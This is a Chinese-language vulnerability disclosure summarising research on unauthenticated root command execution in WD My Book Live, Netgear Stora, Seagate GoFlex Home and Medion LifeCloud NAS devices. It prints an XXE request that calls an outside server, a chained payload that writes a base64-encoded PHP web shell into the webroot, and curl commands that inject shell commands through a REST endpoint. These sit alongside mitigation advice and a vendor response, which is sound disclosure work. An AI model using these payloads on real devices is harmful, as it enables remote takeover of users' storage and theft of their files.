四種流行NAS設備中發現多個漏洞
NAS設備已成為許多中小型企業(SMB)的首選存儲設備。它們價格低廉,易于操作,如果空間不足,可以添加額外的存儲空間。但它足以保護公司數據嗎?我帶著這個問題閱讀了安全研究人員Paulos Yibelo和Daniel Eshetu的研究報告,看能否將這里的漏洞利用在NAS設備中。
我們專注于發現那些只能在沒有任何用戶交互的情況下可以遠程利用的關鍵漏洞。這意思是說,認證繞過是不夠的。我們希望以最高權限遠程執行設備上的命令,結果我們在所有設備上都取得了成功。
一、研究結果摘要
在本項目中我們使用了四種流行的NAS設備:
1. WD My Book
2. NetGear Stora
3. SeaGate Home
4. Medion LifeCloud NAS
通過了解其IP地址,我們成功的在設備中獲得了root遠程命令執行,從而進入了它們所在的網絡。
- 測試的所有四個NAS設備都遭受0 day未經身份驗證的root遠程命令執行(preauth RCE)漏洞。
- 漏洞允許黑客、政府或任何有惡意的人閱讀文件、添加/刪除用戶、添加/修改現有數據,或在所有設備上執行具有最高權限的命令。
- 我們相信有許多其他NAS設備遭受類似的漏洞,因為NAS設備似乎缺少預期的模式。
- 在本文發布時,這些漏洞(稱為CVE-2018-18472和CVE-2018-18471)仍未修補。
- 在線有近200萬受影響的設備
二、CVE-2018-18472—Axentra Hipserv NAS固件中的XXE和未經認證的遠程命令執行。
Axentra Hipserv是一款運行在多個設備上的NAS操作系統,可為不同設備提供基于云的登錄和文件存儲及管理功能。它被不同供應商用于多種設備,具有共享固件的受影響設備是:
- Netgear Stora
- Seagate GoFlex Home
- Medion LifeCloud
該公司提供的固件具有一個主要使用PHP作為服務器端語言的Web界面。Web界面具有REST API端點和文件管理器,是一個典型Web管理界面。
固件分析
解壓縮固件并解碼文件后,php文件位于/var/www/html/ 中,webroot位于/var/www/html/ html中。web界面的主處理程序是homebase.php,RESTAPIController.php是其余API的主處理程序。所有的php文件都使用IONCube加密,IONCube有一個已知的公開解碼器,并且鑒于使用的版本是舊版本,解碼文件不需要很長時間。
第一部分: XXE
解碼文件后,未經身份驗證的話無法訪問大多數API端點和Web界面。其中一個例外是REST API接口中的一些端點。其中一個端點位于/api/2.0/rest/aggregator/xml,它從POST數據加載xml數據,盡管它使用DOMDocument來加載(解析)不應受到XXE攻擊的xml。
固件后端的libxml2是舊版本。這意味著默認情況下未禁用外部實體加載,因而從此端點可以進行開發利用。通過該方式,可以讀取文件并執行SSRF攻擊,下面給出了一個示例請求:
- POST /api/2.0/rest/aggregator/xml HTTP/1.1
- Host: 192.168.10.21
- User-Agent: GoogleBot/2.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: en-US,en;q=0.5
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 246
- Cookie: HOMEBASEID=c4be432f8add72db591aaa72c0fbbd34
- Connection: close
- Upgrade-Insecure-Requests: 1
- <?xml version=”1.0″?>
- <!DOCTYPE requests [
- <!ELEMENT request (#PCDATA)>
- <!ENTITY % dtd SYSTEM “http://192.168.10.20/XXE_CHECK”>
- %dtd;
- ]>
- <requests>
- <request href=”/api/2.0/rest/3rdparty/facebook/” method=”GET”></request>
- </requests>
上述請求導致xml解析器向我們的服務器192.168.56.1發出請求,請求文件XXE_CHECK。雖然LFI有意抓取一些敏感文件,但因為XML無法處理二進制數據,因此無法轉儲SQLite數據庫來獲取用戶名和密碼。
這意味著我們能夠在以下設備中讀取文件并發出SSRF請求。
- Netgear Stora
- Seagate GoFlex Home
- Medion LifeCloud
第二部分: RCE
下一步是查看Web界面(特別是REST API)如何執行root操作。由于Web服務器以非root用戶身份運行且沒有sudo權限,因此發現REST API調用名為oe-spd的本地守護程序,該守護程序在綁定到127.0.0.1的端口2000上運行。
守護進程獲取XML數據,解析請求并執行操作而不進行任何身份驗證,除了確保請求來自127.0.0.1。更重要的是,守護進程跳過垃圾數據,直到找到字符串<?xml version =“1.0”?>,如下面的IDA代碼段所示。
- strstr(*input_data, “<?xml version=\”1.0\”?>”);
這樣事情就變得更容易了,因為請求使用HTTP協議發送,跳過垃圾數據(根據守護程序)幫了大忙。但是,由于不能直接將URL放在xml文件中,我們讓xml解析器向php腳本(或任何真正重定向的腳本)發送請求,將其重定向到http://127.0.0.1:2000/a.php?d=*payload here*。
由于守護進程存在命令執行漏洞,因此很容易構造一個觸發請求的請求。此外,由于守護程序以root權限運行,因此可以在設備上執行任何操作。下面給出了有效載荷示例。
這個示例上傳一個php shell /var/www/html/html/u.php (<device-ip>/u.php?cmd=id).
- <?xml version=”1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=”disk”>a`echo PD9waHAKZWNobyAnPHByZT4nOwpzeXN0ZW0oJF9HRVRbJ2NtZCddKTsKZWNobyAnPC9wcmU+JzsKPz4K | base64 -d >/var/www/html/html/u.php`</parameter></proxy_request>
WizCase報告:四種流行NAS設備中發現多個漏洞
三、合而為一
為了無縫鏈接漏洞,我們需要一個服務器,設備可以與之建立出站連接,以及簡單的PHP腳本,該腳本重定向解析器以發送有效載荷并能處理少量多階段的有效載荷。
四、CVE-2018-18472—WD MyBook Live未經身份驗證的遠程命令執行
WD MyBook Live和某些型號的WD MyCloud NAS包含一個可遠程利用的漏洞,允許任何人以root用戶身份在設備上運行命令。該漏洞存在于語言更改中并修改了REST API中的功能,以下PoC演示了此漏洞。
PoC:
- curl –kX PUT -d ‘language=en_US`<linx Command Here>`’ https://<NAS_IP>/api/1.0/rest/language_configuration
示例:
- curl –kX PUT -d ‘language=en_US`id > /var/www/id.txt`’ https://<NAS_IP>/api/1.0/rest/language_configuration
poc將在webroot中創建一個包含ID命令輸出的id.txt文件。可以使用以下PoC刪除該文件:
- curl -kX PUT -d ‘language=en_US`rm -rf /var/www/id.txt`’ https://<NAS_IP>/api/1.0/rest/language_configuration
五、措施
· 如果正在使用上述設備之一且已在WAN上連接,請務必從互聯網上刪除設備。(確保它們僅在安全網絡中本地運行)
· 務必聯系受影響的供應商并堅持盡快發布補丁!
· 我們將在補丁可用時更新本文。
· 我們還建議使用VPN來保護計算機和移動設備免受黑客攻擊。 ExpressVPN 和NordVPN 都使用AES 256位加密,并將保護所有數據。(這不會保護免受NAS攻擊,但它會保護免受其他網絡攻擊)
六、響應
漏洞報告CVE-2018-18472會影響最早在2010年至2012年間推向市場的My Book Live設備。這些產品自2014年起停產,不再支持設備軟件更新服務。在此,我們希望和鼓勵這些繼續運行舊版產品的用戶配置防火墻,以防止遠程訪問這些設備,并采取措施確保只有本地網絡上的受信任設備才能訪問該設備。
注:完整報告見https://www.wizcase.com/blog/hack-2018/